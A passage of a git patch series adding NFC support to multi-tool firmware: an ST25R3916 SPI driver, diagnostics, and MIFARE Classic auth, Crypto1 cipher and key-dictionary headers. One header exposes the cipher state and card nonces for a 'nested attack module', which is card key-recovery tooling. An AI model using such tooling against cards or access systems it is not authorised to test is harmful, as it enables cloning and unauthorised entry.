""); + ESP_LOGW(TAG, "If AD > 0 but no WU_A:"); + ESP_LOGW(TAG, "GOTO_SENSE is not activating correctly"); + ESP_LOGW(TAG, "Or thresholds need to be adjusted"); + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "If WU_A OK but no SDD_C:"); + ESP_LOGW(TAG, "PT Memory or anti-collision has a problem"); + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "COPY THE FULL SERIAL OUTPUT AND SHARE IT!"); + ESP_LOGW(TAG, ""); + + return HB_NFC_OK; +} + +void emu_diag_monitor(int seconds) +{ + ESP_LOGW(TAG, "Monitor %ds...", seconds); + int64_t t0 = esp_timer_get_time(); + while ((esp_timer_get_time() - t0) < (int64_t)seconds * 1000000LL) { + uint8_t tgt = 0, mi = 0, ei = 0; + hb_spi_reg_read(REG_TARGET_INT, &tgt); + hb_spi_reg_read(REG_MAIN_INT, &mi); + hb_spi_reg_read(REG_ERROR_INT, &ei); + if (tgt || mi || ei) { + ESP_LOGW(TAG, "[%dms] TGT=0x%02X MAIN=0x%02X ERR=0x%02X", + (int)((esp_timer_get_time() - t0) / 1000), tgt, mi, ei); + } + vTaskDelay(1); + } +} diff --git a/firmware_p4/components/Applications/nfc/include/emu_diag.h b/firmware_p4/components/Applications/nfc/include/emu_diag.h new file mode 100644 index 00000000..18b07ef4 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/include/emu_diag.h @@ -0,0 +1,22 @@ +/** + * @file emu_diag.h + * @brief Emulation Diagnostics Debug helper for ST25R3916 target mode. + */ +#ifndef EMU_DIAG_H +#define EMU_DIAG_H + +#include "highboy_nfc_error.h" + +/** + * Full target mode diagnostic. + * Tests field detection, multiple configs, PT Memory, oscillator. + * Takes ~60 seconds. Share the FULL serial output! + */ +hb_nfc_err_t emu_diag_full(void); + +/** + * Monitor target interrupts for N seconds. + */ +void emu_diag_monitor(int seconds); + +#endif From 0ec24a04d5ebb004f8428d43288f13a6b91b7b34 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:21:46 -0300 Subject: [PATCH 52/61] feat(nfc): add MIFARE Classic protocol header --- .../nfc/protocols/mifare/include/mf_classic.h | 58 +++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic.h diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic.h new file mode 100644 index 00000000..df5a9304 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_classic.h @@ -0,0 +1,58 @@ +/** + * @file mf_classic.h + * @brief MIFARE Classic auth, read, write sectors. + * + * Fixed implementation matching Flipper Zero auth flow. + */ +#ifndef MF_CLASSIC_H +#define MF_CLASSIC_H + +#include +#include "highboy_nfc_types.h" +#include "highboy_nfc_error.h" +#include "crypto1.h" + +/** Authenticate a sector with key A or B. */ +hb_nfc_err_t mf_classic_auth(uint8_t block, mf_key_type_t key_type, + const mf_classic_key_t* key, + const uint8_t uid[4]); + +/** Read a single block (16 bytes). Must be authenticated first. */ +hb_nfc_err_t mf_classic_read_block(uint8_t block, uint8_t data[16]); + +/** Write a single block (16 bytes). Must be authenticated first. */ +hb_nfc_err_t mf_classic_write_block(uint8_t block, const uint8_t data[16]); + +/** Write phase (for debugging NACKs). */ +typedef enum { + MF_WRITE_PHASE_NONE = 0, + MF_WRITE_PHASE_CMD, + MF_WRITE_PHASE_DATA, +} mf_write_phase_t; + +/** Get last write phase reached (CMD or DATA). */ +mf_write_phase_t mf_classic_get_last_write_phase(void); + +/** Get card type from SAK. */ +mf_classic_type_t mf_classic_get_type(uint8_t sak); + +/** Get number of sectors for a given type. */ +int mf_classic_get_sector_count(mf_classic_type_t type); + +/** Reset auth state (call before re-select). */ +void mf_classic_reset_auth(void); + +/** Get the last nonce (nt) received from card during auth. + * Used for PRNG analysis / clone detection. */ +uint32_t mf_classic_get_last_nt(void); + +/** + * Copy the current Crypto1 cipher state (after a successful mf_classic_auth). + * Used by the nested attack module to drive its own keystream without + * touching the static s_crypto that mf_classic_read/write_block use. + * + * @param out Destination state struct; must not be NULL. + */ +void mf_classic_get_crypto_state(crypto1_state_t* out); + +#endif From 10a66fc53614e0890558004975becca25e6fd64a Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:22:38 -0300 Subject: [PATCH 53/61] feat(nfc): add HAL implementation --- .../Drivers/st25r3916/hal/hb_nfc_hal.c | 311 ++++++++++++++++++ 1 file changed, 311 insertions(+) create mode 100644 firmware_p4/components/Drivers/st25r3916/hal/hb_nfc_hal.c diff --git a/firmware_p4/components/Drivers/st25r3916/hal/hb_nfc_hal.c b/firmware_p4/components/Drivers/st25r3916/hal/hb_nfc_hal.c new file mode 100644 index 00000000..3905c80f --- /dev/null +++ b/firmware_p4/components/Drivers/st25r3916/hal/hb_nfc_hal.c @@ -0,0 +1,311 @@ + +/** + * [FIX-v3] Replaced spi_device_queue_trans + spi_device_get_trans_result + * with spi_device_transmit (blocking, atomic). + * + * Problem with the previous approach (queue + get with timeout): + * + * 1. queue_trans() enqueues DMA and starts on the SPI bus + * 2. get_trans_result(10ms) occasionally times out + * 3. drain(portMAX_DELAY) saves from crash, BUT the transaction already + * happened on the bus: the chip read REG_TARGET_INT and CLEARED + * the IRQ register in hardware. + * 4. We drop the WU_A / SDD_C values silently; software never sees + * the phone even though the chip is working. + * + * spi_device_transmit() fixes this completely: + * - Blocking with portMAX_DELAY internally never loses data. + * - No timeout window between queue and get. + * - Eliminates "spi wait fail" warnings. + * - Simpler code, no intermediate states. + */ +#include "hb_nfc_spi.h" + +#include +#include "driver/spi_master.h" +#include "freertos/FreeRTOS.h" +#include "esp_log.h" +#include "esp_err.h" + +static const char* TAG = "hb_spi"; +static spi_device_handle_t s_spi = NULL; +static bool s_init = false; + +static hb_nfc_err_t hb_spi_transmit(spi_transaction_t* t) +{ + if (!s_spi || !t) return HB_NFC_ERR_SPI_XFER; + + esp_err_t ret = spi_device_transmit(s_spi, t); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "spi transmit fail: %s", esp_err_to_name(ret)); + return HB_NFC_ERR_SPI_XFER; + } + + return HB_NFC_OK; +} + +hb_nfc_err_t hb_spi_init(int spi_host, int mosi, int miso, int sclk, + int cs, int mode, uint32_t clock_hz) +{ + if (s_init) return HB_NFC_OK; + + spi_bus_config_t bus = { + .mosi_io_num = mosi, + .miso_io_num = miso, + .sclk_io_num = sclk, + .quadwp_io_num = -1, + .quadhd_io_num = -1, + }; + esp_err_t ret = spi_bus_initialize(spi_host, &bus, SPI_DMA_CH_AUTO); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "bus init fail: %s", esp_err_to_name(ret)); + return HB_NFC_ERR_SPI_INIT; + } + + spi_device_interface_config_t dev = { + .clock_speed_hz = clock_hz, + .mode = mode, + .spics_io_num = cs, + .queue_size = 1, + .cs_ena_pretrans = 1, + .cs_ena_posttrans = 1, + }; + ret = spi_bus_add_device(spi_host, &dev, &s_spi); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "add device fail: %s", esp_err_to_name(ret)); + spi_bus_free(spi_host); + return HB_NFC_ERR_SPI_INIT; + } + + s_init = true; + ESP_LOGI(TAG, "SPI OK: mode=%d clk=%lu cs=%d", mode, (unsigned long)clock_hz, cs); + return HB_NFC_OK; +} + +void hb_spi_deinit(void) +{ + if (!s_init) return; + if (s_spi) { + spi_bus_remove_device(s_spi); + s_spi = NULL; + } + s_init = false; +} + +hb_nfc_err_t hb_spi_reg_read(uint8_t addr, uint8_t* value) +{ + uint8_t tx[2] = { (uint8_t)(0x40 | (addr & 0x3F)), 0x00 }; + uint8_t rx[2] = { 0 }; + spi_transaction_t t = { + .length = 16, + .tx_buffer = tx, + .rx_buffer = rx, + }; + hb_nfc_err_t err = hb_spi_transmit(&t); + if (err != HB_NFC_OK) { + *value = 0; + return err; + } + *value = rx[1]; + return HB_NFC_OK; +} + +hb_nfc_err_t hb_spi_reg_write(uint8_t addr, uint8_t value) +{ + uint8_t tx[2] = { (uint8_t)(addr & 0x3F), value }; + spi_transaction_t t = { + .length = 16, + .tx_buffer = tx, + }; + return hb_spi_transmit(&t); +} + +hb_nfc_err_t hb_spi_reg_modify(uint8_t addr, uint8_t mask, uint8_t value) +{ + uint8_t cur; + hb_nfc_err_t err = hb_spi_reg_read(addr, &cur); + if (err != HB_NFC_OK) return err; + uint8_t nv = (cur & (uint8_t)~mask) | (value & mask); + return hb_spi_reg_write(addr, nv); +} + +hb_nfc_err_t hb_spi_fifo_load(const uint8_t* data, size_t len) +{ + if (!data || len == 0 || len > 512) return HB_NFC_ERR_PARAM; + + /* Static buffer: ST25R3916 FIFO is 512 bytes. Not re-entrant, but NFC + * is single-threaded and DMA requires a stable (non-stack) pointer. */ + static uint8_t tx[1 + 512]; + tx[0] = 0x80; + memcpy(&tx[1], data, len); + + spi_transaction_t t = { + .length = (uint32_t)((len + 1) * 8), + .tx_buffer = tx, + }; + return hb_spi_transmit(&t); +} + +hb_nfc_err_t hb_spi_fifo_read(uint8_t* data, size_t len) +{ + if (!data || len == 0 || len > 512) return HB_NFC_ERR_PARAM; + + static uint8_t tx[1 + 512]; + static uint8_t rx[1 + 512]; + memset(tx, 0, len + 1); + tx[0] = 0x9F; + + spi_transaction_t t = { + .length = (uint32_t)((len + 1) * 8), + .tx_buffer = tx, + .rx_buffer = rx, + }; + hb_nfc_err_t err = hb_spi_transmit(&t); + if (err != HB_NFC_OK) return err; + memcpy(data, &rx[1], len); + return HB_NFC_OK; +} + +hb_nfc_err_t hb_spi_direct_cmd(uint8_t cmd) +{ + spi_transaction_t t = { + .length = 8, + .tx_buffer = &cmd, + }; + return hb_spi_transmit(&t); +} + +/** + * PT Memory write ST25R3916 SPI protocol: + * TX: [prefix_byte] [data0] [data1] ... [dataN] + * + * Prefix bytes: + * 0xA0 = PT_MEM_A (NFC-A: ATQA/UID/SAK, 15 bytes max) + * 0xA8 = PT_MEM_F (NFC-F: SC + SENSF_RES, 19 bytes total) + * 0xAC = PT_MEM_TSN (12 bytes max) + */ +hb_nfc_err_t hb_spi_pt_mem_write(uint8_t prefix, const uint8_t* data, size_t len) +{ + if (!data || len == 0 || len > 19) return HB_NFC_ERR_PARAM; + + uint8_t tx[1 + 19]; + tx[0] = prefix; + memcpy(&tx[1], data, len); + + spi_transaction_t t = { + .length = (uint32_t)((len + 1) * 8), + .tx_buffer = tx, + }; + return hb_spi_transmit(&t); +} + +/** + * PT Memory read ST25R3916 SPI protocol: + * TX: [0xBF] [0x00] [0x00] ... (len + 2 bytes total) + * RX: [xx] [xx] [d0] ... (data starts at rx[2]) + * + * The ST25R3916 inserts two bytes before the real data on MISO: + * a command byte and a turnaround byte. + */ +hb_nfc_err_t hb_spi_pt_mem_read(uint8_t* data, size_t len) +{ + if (!data || len == 0 || len > 19) return HB_NFC_ERR_PARAM; + + uint8_t tx[2 + 19] = { 0 }; + uint8_t rx[2 + 19] = { 0 }; + tx[0] = 0xBF; + + spi_transaction_t t = { + .length = (uint32_t)((len + 2) * 8), + .tx_buffer = tx, + .rx_buffer = rx, + }; + hb_nfc_err_t err = hb_spi_transmit(&t); + if (err != HB_NFC_OK) return err; + memcpy(data, &rx[2], len); + return HB_NFC_OK; +} + +/** + * Raw SPI transfer for arbitrary length transactions. + */ +hb_nfc_err_t hb_spi_raw_xfer(const uint8_t* tx, uint8_t* rx, size_t len) +{ + if (len == 0 || len > 64) return HB_NFC_ERR_PARAM; + + spi_transaction_t t = { + .length = (uint32_t)(len * 8), + .tx_buffer = tx, + .rx_buffer = rx, + }; + return hb_spi_transmit(&t); +} + +#include "hb_nfc_gpio.h" + +#include "driver/gpio.h" +#include "esp_log.h" +#include "esp_rom_sys.h" + +static const char* TAG_GPIO = "hb_gpio"; +static int s_pin_irq = -1; + +hb_nfc_err_t hb_gpio_init(int pin_irq) +{ + s_pin_irq = pin_irq; + + gpio_config_t cfg = { + .pin_bit_mask = 1ULL << pin_irq, + .mode = GPIO_MODE_INPUT, + .pull_up_en = GPIO_PULLUP_DISABLE, + .pull_down_en = GPIO_PULLDOWN_DISABLE, + .intr_type = GPIO_INTR_DISABLE, + }; + esp_err_t ret = gpio_config(&cfg); + if (ret != ESP_OK) { + ESP_LOGE(TAG_GPIO, "IRQ pin %d config fail", pin_irq); + return HB_NFC_ERR_GPIO; + } + + ESP_LOGI(TAG_GPIO, "IRQ pin %d OK, level=%d", pin_irq, gpio_get_level(pin_irq)); + return HB_NFC_OK; +} + +void hb_gpio_deinit(void) +{ + if (s_pin_irq >= 0) { + gpio_reset_pin(s_pin_irq); + s_pin_irq = -1; + } +} + +int hb_gpio_irq_level(void) +{ + if (s_pin_irq < 0) return 0; + return gpio_get_level(s_pin_irq); +} + +bool hb_gpio_irq_wait(uint32_t timeout_ms) +{ + for (uint32_t i = 0; i < timeout_ms; i++) { + if (gpio_get_level(s_pin_irq)) return true; + esp_rom_delay_us(1000); + } + return false; +} + +#include "hb_nfc_timer.h" +#include "esp_rom_sys.h" +#include "freertos/task.h" + +void hb_delay_us(uint32_t us) +{ + esp_rom_delay_us(us); +} + +void hb_delay_ms(uint32_t ms) +{ + /* Yield to the scheduler for multi-ms delays instead of busy-spinning. + * Must be called from a FreeRTOS task context (not ISR). */ + vTaskDelay(pdMS_TO_TICKS(ms ? ms : 1)); +} From fa13bb0bfb382d6c329688f3e7a7f78fb02da7e7 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:22:51 -0300 Subject: [PATCH 54/61] feat(st25r3916): add core driver implementation --- .../Drivers/st25r3916/st25r3916_core.c | 174 ++++++++++++++---- 1 file changed, 142 insertions(+), 32 deletions(-) diff --git a/firmware_p4/components/Drivers/st25r3916/st25r3916_core.c b/firmware_p4/components/Drivers/st25r3916/st25r3916_core.c index 7c5670d9..be3c8b4d 100644 --- a/firmware_p4/components/Drivers/st25r3916/st25r3916_core.c +++ b/firmware_p4/components/Drivers/st25r3916/st25r3916_core.c @@ -1,19 +1,11 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. +/** + * @file st25r3916_core.c + * @brief ST25R3916 core: init, field control, mode, diagnostics. + */ #include "st25r3916_core.h" #include "st25r3916_reg.h" #include "st25r3916_cmd.h" +#include "st25r3916_aat.h" #include "hb_nfc_spi.h" #include "hb_nfc_gpio.h" #include "hb_nfc_timer.h" @@ -46,11 +38,25 @@ hb_nfc_err_t st25r_init(const highboy_nfc_config_t* cfg) return err; } - hb_delay_us(5000); + hb_delay_ms(5); hb_spi_direct_cmd(CMD_SET_DEFAULT); - hb_delay_us(2000); + /* Wait for oscillator ready (REG_MAIN_INT bit 7 = IRQ_MAIN_OSC). + * Datasheet §8.1: OSC stabilises in ~1ms typical, 5ms worst case. + * Poll up to 10ms before giving up (blind wait is not reliable on cold PCBs). */ + { + int osc_ok = 0; + for (int i = 0; i < 100; i++) { + uint8_t irq = 0; + hb_spi_reg_read(REG_MAIN_INT, &irq); + if (irq & IRQ_MAIN_OSC) { osc_ok = 1; break; } + hb_delay_us(100); + } + if (!osc_ok) { + ESP_LOGW(TAG, "OSC ready timeout — continuing anyway"); + } + } uint8_t id, type, rev; err = st25r_check_id(&id, &type, &rev); @@ -61,6 +67,14 @@ hb_nfc_err_t st25r_init(const highboy_nfc_config_t* cfg) return err; } + /* Calibrate internal regulator and TX driver (datasheet §8.1.3). + * Must be done after oscillator is stable and before RF field is enabled. */ + hb_spi_direct_cmd(CMD_ADJUST_REGULATORS); + hb_delay_ms(6); /* 6ms for regulator settling */ + + hb_spi_direct_cmd(CMD_CALIBRATE_DRIVER); + hb_delay_ms(1); /* 1ms for driver calibration */ + s_drv.init = true; ESP_LOGI(TAG, "Init OK (chip 0x%02X type=0x%02X rev=%u)", id, type, rev); return HB_NFC_OK; @@ -76,24 +90,37 @@ void st25r_deinit(void) s_drv.field = false; } +/** + * Read and parse IC Identity: + * ic_type = (id >> 3) & 0x1F + * ic_rev = id & 0x07 + */ hb_nfc_err_t st25r_check_id(uint8_t* id, uint8_t* type, uint8_t* rev) { uint8_t val; hb_nfc_err_t err = hb_spi_reg_read(REG_IC_IDENTITY, &val); if (err != HB_NFC_OK) return HB_NFC_ERR_CHIP_ID; - if (id) *id = val; - if (type) *type = (val >> 3) & 0x1F; - if (rev) *rev = val & 0x07; - - ESP_LOGI(TAG, "IC_IDENTITY: 0x%02X (type=0x%02X rev=%u)", - val, (val >> 3) & 0x1F, val & 0x07); - - /* Sanity: type should be non-zero */ if (val == 0x00 || val == 0xFF) { ESP_LOGE(TAG, "Bad IC ID 0x%02X — check SPI wiring!", val); return HB_NFC_ERR_CHIP_ID; } + + uint8_t ic_type = (val >> 3) & 0x1F; + uint8_t ic_rev = val & 0x07; + + if (ic_type != ST25R3916_IC_TYPE_EXP) { + /* ST25R3916B (or unknown variant) — command table may differ. */ + ESP_LOGW(TAG, "Unexpected IC type 0x%02X (expected 0x%02X): " + "may be ST25R3916B — verify command codes", + ic_type, ST25R3916_IC_TYPE_EXP); + } + + if (id) *id = val; + if (type) *type = ic_type; + if (rev) *rev = ic_rev; + + ESP_LOGI(TAG, "IC_IDENTITY: 0x%02X (type=0x%02X rev=%u)", val, ic_type, ic_rev); return HB_NFC_OK; } @@ -103,7 +130,7 @@ hb_nfc_err_t st25r_field_on(void) if (s_drv.field) return HB_NFC_OK; hb_spi_reg_write(REG_OP_CTRL, OP_CTRL_FIELD_ON); - hb_delay_us(5000); + hb_delay_ms(5); hb_spi_direct_cmd(CMD_RESET_RX_GAIN); s_drv.field = true; @@ -116,7 +143,6 @@ void st25r_field_off(void) if (!s_drv.init) return; hb_spi_reg_write(REG_OP_CTRL, 0x00); s_drv.field = false; - ESP_LOGD(TAG, "RF field OFF"); } bool st25r_field_is_on(void) @@ -124,18 +150,25 @@ bool st25r_field_is_on(void) return s_drv.field; } +/** + * Field cycle: briefly toggle field OFF then ON. + * + * After Crypto1 authentication, the card is in AUTHENTICATED state and + * will NOT respond to WUPA. The only reliable way to reset it is to + * power-cycle by removing the RF field briefly. + * + * Timing: 5ms off + 5ms on (minimum 1ms off required by ISO14443). + */ hb_nfc_err_t st25r_field_cycle(void) { if (!s_drv.init) return HB_NFC_ERR_INTERNAL; - /* Field OFF */ hb_spi_reg_write(REG_OP_CTRL, 0x00); s_drv.field = false; - hb_delay_us(5000); + hb_delay_ms(5); - /* Field ON */ hb_spi_reg_write(REG_OP_CTRL, OP_CTRL_FIELD_ON); - hb_delay_us(5000); + hb_delay_ms(5); hb_spi_direct_cmd(CMD_RESET_RX_GAIN); s_drv.field = true; @@ -144,18 +177,95 @@ hb_nfc_err_t st25r_field_cycle(void) hb_nfc_err_t st25r_set_mode_nfca(void) { + /* REG_MODE uses a technology bitmask: + * bit 3 (0x08) = NFC-A bit 4 (0x10) = NFC-B + * bit 5 (0x20) = NFC-F bits 4+5 (0x30) = NFC-V + * bit 7 (0x80) = target 0x88 = NFC-A target + * MODE_POLL_NFCA = 0x08 is correct for ISO14443A polling. */ hb_spi_reg_write(REG_MODE, MODE_POLL_NFCA); hb_spi_reg_write(REG_BIT_RATE, 0x00); uint8_t iso_def; hb_spi_reg_read(REG_ISO14443A, &iso_def); - ESP_LOGD(TAG, "ISO14443A reg default = 0x%02X", iso_def); iso_def &= (uint8_t)~0xC1; hb_spi_reg_write(REG_ISO14443A, iso_def); return HB_NFC_OK; } +hb_nfc_err_t highboy_nfc_init(const highboy_nfc_config_t* config) +{ + hb_nfc_err_t err = st25r_init(config); + if (err != HB_NFC_OK) return err; + + /* Configure default external field detector thresholds. */ + (void)hb_spi_reg_write(REG_FIELD_THRESH_ACT, FIELD_THRESH_ACT_TRG); + (void)hb_spi_reg_write(REG_FIELD_THRESH_DEACT, FIELD_THRESH_DEACT_TRG); + + /* Mask timer IRQs — poller never uses the NFC timer, so these would + * only cause spurious GPIO wake-ups during st25r_irq_wait_txe. */ + (void)hb_spi_reg_write(REG_MASK_TIMER_NFC_INT, 0xFF); + + /* Try cached AAT first, otherwise run calibration. */ + st25r_aat_result_t aat = { 0 }; + if (st25r_aat_load_nvs(&aat) == HB_NFC_OK) { + (void)hb_spi_reg_write(REG_ANT_TUNE_A, aat.dac_a); + (void)hb_spi_reg_write(REG_ANT_TUNE_B, aat.dac_b); + ESP_LOGI(TAG, "AAT loaded: A=0x%02X B=0x%02X", aat.dac_a, aat.dac_b); + } else { + err = st25r_aat_calibrate(&aat); + if (err == HB_NFC_OK) { + (void)st25r_aat_save_nvs(&aat); + } + } + + return HB_NFC_OK; +} + +void highboy_nfc_deinit(void) +{ + st25r_deinit(); +} + +hb_nfc_err_t highboy_nfc_ping(uint8_t* chip_id) +{ + uint8_t id = 0, type = 0, rev = 0; + hb_nfc_err_t err = st25r_check_id(&id, &type, &rev); + if (err != HB_NFC_OK) return err; + if (chip_id) *chip_id = id; + return HB_NFC_OK; +} + +hb_nfc_err_t highboy_nfc_field_on(void) +{ + return st25r_field_on(); +} + +void highboy_nfc_field_off(void) +{ + st25r_field_off(); +} + +uint8_t highboy_nfc_measure_amplitude(void) +{ + hb_spi_direct_cmd(CMD_MEAS_AMPLITUDE); + hb_delay_ms(2); + uint8_t ad = 0; + hb_spi_reg_read(REG_AD_RESULT, &ad); + return ad; +} + +bool highboy_nfc_field_detected(uint8_t* aux_display) +{ + uint8_t aux = 0; + if (hb_spi_reg_read(REG_AUX_DISPLAY, &aux) != HB_NFC_OK) { + if (aux_display) *aux_display = 0; + return false; + } + if (aux_display) *aux_display = aux; + return (aux & 0x01U) != 0; /* efd_o */ +} + void st25r_dump_regs(void) { if (!s_drv.init) return; @@ -165,8 +275,8 @@ void st25r_dump_regs(void) } ESP_LOGI(TAG, "Reg Dump"); for (int r = 0; r < 64; r += 16) { - ESP_LOGI(TAG, "%02X: %02X %02X %02X %02X %02X %02X %02X %02X " - "%02X %02X %02X %02X %02X %02X %02X %02X", + ESP_LOGI(TAG, "%02X: %02X %02X %02X %02X %02X %02X %02X %02X" + "%02X %02X %02X %02X %02X %02X %02X %02X", r, regs[r+0], regs[r+1], regs[r+2], regs[r+3], regs[r+4], regs[r+5], regs[r+6], regs[r+7], From d9ab97e700e9fbcd7af6843396b4ed1b7dac22bb Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:30:36 -0300 Subject: [PATCH 55/61] chore(build): add st25r3916 driver --- firmware_p4/components/Drivers/CMakeLists.txt | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/firmware_p4/components/Drivers/CMakeLists.txt b/firmware_p4/components/Drivers/CMakeLists.txt index fb8efd26..9ef55401 100644 --- a/firmware_p4/components/Drivers/CMakeLists.txt +++ b/firmware_p4/components/Drivers/CMakeLists.txt @@ -12,6 +12,8 @@ # See the License for the specific language governing permissions and # limitations under the License. +file(GLOB_RECURSE ST25R3916_SRCS "st25r3916/*.c") + idf_component_register(SRCS "bq25896/bq25896.c" @@ -25,6 +27,7 @@ idf_component_register(SRCS "tusb_desc/tusb_desc.c" "buttons_gpio/buttons_gpio.c" "spi_bridge_phy/spi_bridge_phy.c" + ${ST25R3916_SRCS} INCLUDE_DIRS "bq25896/include" @@ -39,6 +42,8 @@ idf_component_register(SRCS "tusb_desc/include" "buttons_gpio/include" "spi_bridge_phy/include" + "st25r3916/include" + "st25r3916/hal/include" REQUIRES driver From 67abacc1fe44dab4e30dcdcf01fce365af8749d9 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:32:08 -0300 Subject: [PATCH 56/61] chore(build): nfc application --- firmware_p4/components/Applications/CMakeLists.txt | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/firmware_p4/components/Applications/CMakeLists.txt b/firmware_p4/components/Applications/CMakeLists.txt index 925cba73..9be7c9cf 100644 --- a/firmware_p4/components/Applications/CMakeLists.txt +++ b/firmware_p4/components/Applications/CMakeLists.txt @@ -61,11 +61,13 @@ file(GLOB_RECURSE SUBGHZ_APP_SRCS "SubGhz/*.c") file(GLOB_RECURSE BLE_APP_SRCS "bluetooth/*.c") file(GLOB_RECURSE BADUSB_APP_SRCS "bad_usb/*.c") file(GLOB_RECURSE WIFI_APP_SRCS "wifi/*.c") +file(GLOB_RECURSE NFC_APP_SRCS "nfc/*.c") idf_component_register(SRCS "play/play.c" ${UI_SRCS} ${WIFI_APP_SRCS} + ${NFC_APP_SRCS} ${BADUSB_APP_SRCS} ${BLE_APP_SRCS} "ui/ui_manager.c" @@ -96,6 +98,17 @@ idf_component_register(SRCS INCLUDE_DIRS "play/include" "wifi/include" + "nfc/include" + "nfc/protocols/common/include" + "nfc/protocols/emv/include" + "nfc/protocols/felica/include" + "nfc/protocols/iso14443a/include" + "nfc/protocols/iso14443b/include" + "nfc/protocols/iso15693/include" + "nfc/protocols/llcp/include" + "nfc/protocols/mifare/include" + "nfc/protocols/t1t/include" + "nfc/protocols/t2t/include" "ui/include" "ui/screens/SubGhz/include" "ui/screens/bluetooth/include" @@ -136,6 +149,7 @@ idf_component_register(SRCS esp_common esp_wifi esp_tinyusb + mbedtls bt ) target_link_libraries(${COMPONENT_LIB} -Wl,-zmuldefs) From d26743fa750f4aa069a1554eef5dbea11a9f767e Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:42:19 -0300 Subject: [PATCH 57/61] feat(nfc): add Crypto1 cipher and key utilities --- .../nfc/protocols/mifare/include/crypto1.h | 64 +++++ .../protocols/mifare/include/mf_key_cache.h | 42 +++ .../protocols/mifare/include/mf_key_dict.h | 27 ++ .../nfc/protocols/mifare/include/mfkey.h | 15 + .../nfc/protocols/mifare/mf_key_cache.c | 257 ++++++++++++++++++ .../nfc/protocols/mifare/mf_key_dict.c | 242 +++++++++++++++++ 6 files changed, 647 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/include/crypto1.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_key_cache.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_key_dict.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/include/mfkey.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/mf_key_cache.c create mode 100644 firmware_p4/components/Applications/nfc/protocols/mifare/mf_key_dict.c diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/crypto1.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/crypto1.h new file mode 100644 index 00000000..49aeeb2b --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/crypto1.h @@ -0,0 +1,64 @@ +/** + * @file crypto1.h + * @brief Crypto1 cipher for MIFARE Classic. + */ +#pragma once +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + uint32_t odd; + uint32_t even; +} crypto1_state_t; + +/** Initialise the LFSR with a 48-bit key. */ +void crypto1_init(crypto1_state_t *s, uint64_t key); + +/** Reset LFSR state to zero. */ +void crypto1_reset(crypto1_state_t *s); + +/** + * Clock one bit through the cipher. + * + * @param s Cipher state. + * @param in Input bit. + * @param is_encrypted 0 = TX / priming, 1 = RX (encrypted input). + * @return Keystream bit. + */ +uint8_t crypto1_bit(crypto1_state_t *s, uint8_t in, int is_encrypted); + +/** Clock one byte (8 bits, LSB first). Returns keystream byte. */ +uint8_t crypto1_byte(crypto1_state_t *s, uint8_t in, int is_encrypted); + +/** + * Clock one 32-bit word through the cipher. + * Uses BEBIT byte-swapped bit ordering (proxmark3/Flipper compatible). + * Returns keystream word in BEBIT order. + */ +uint32_t crypto1_word(crypto1_state_t *s, uint32_t in, int is_encrypted); + +/** + * Get the current filter output WITHOUT advancing the LFSR. + * Used for parity bit encryption (the 9th keystream bit per byte). + */ +uint8_t crypto1_filter_output(crypto1_state_t *s); + +/** + * MIFARE Classic card PRNG with proper SWAPENDIAN. + * Input and output are in big-endian byte order (as received on wire). + */ +uint32_t crypto1_prng_successor(uint32_t x, uint32_t n); + +/** Odd parity of a byte (1 if odd number of set bits). */ +uint8_t crypto1_odd_parity8(uint8_t data); + +/** Even parity of a 32-bit word. */ +uint8_t crypto1_even_parity32(uint32_t data); + +#ifdef __cplusplus +} +#endif diff --git a/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_key_cache.h b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_key_cache.h new file mode 100644 index 00000000..1a331399 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/mifare/include/mf_key_cache.h @@ -0,0 +1,42 @@ +#ifndef MF_KEY_CACHE_H +#define MF_KEY_CACHE_H + +#include +#include +#include "highboy_nfc_types.h" +#include "highboy_nfc_error.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#define MF_KEY_CACHE_MAX_CARDS 16 +#define MF_KEY_CACHE_MAX_SECTORS 40 + +/* One cached card entry: UID + all sector keys found. */ +typedef struct { + uint8_t uid[10]; + uint8_t uid_len; + bool 